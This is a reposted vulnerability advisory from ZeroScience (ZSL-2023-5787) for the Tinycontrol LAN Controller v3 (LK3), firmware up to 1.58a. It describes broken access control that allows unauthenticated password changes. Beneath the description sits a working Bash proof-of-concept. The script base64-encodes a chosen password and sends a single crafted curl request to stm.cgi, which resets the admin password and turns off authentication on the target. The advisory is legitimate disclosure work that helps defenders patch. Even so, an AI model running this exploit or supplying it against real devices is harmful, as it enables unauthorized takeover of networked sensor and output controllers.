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Tinycontrol LAN Controller v3 (LK3) Remote Admin Password Change

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
920
559
www.zeroscience.mk
Bash:
#!/bin/bash
: "

Tinycontrol LAN Controller v3 (LK3) Remote Admin Password Change


Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8

Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.

Desc: The application suffers from an insecure access
control allowing an unauthenticated attacker to
change accounts passwords and bypass authentication
gaining panel control access.

Tested on: lwIP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5787
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5787.php


18.08.2023

"

set -euo pipefail
IFS=$'\n\t'

if [ $# -ne 2 ]; then
    echo -ne '\nUsage: $0 [ipaddr] [desired admin pwd]\n\n'
    exit
fi

IP=$1
PW=$2

EN=$(echo -n $PW | base64)

curl -s http://$IP/stm.cgi?auth=00YWRtaW4=*$EN*dXNlcg==*dXNlcg==
# ?auth=00 (disable authentication, disable upgrade), https://docs.tinycontrol.pl/en/lk3/api/access/
echo -ne '\nAdmin password changed to: '$PW


 

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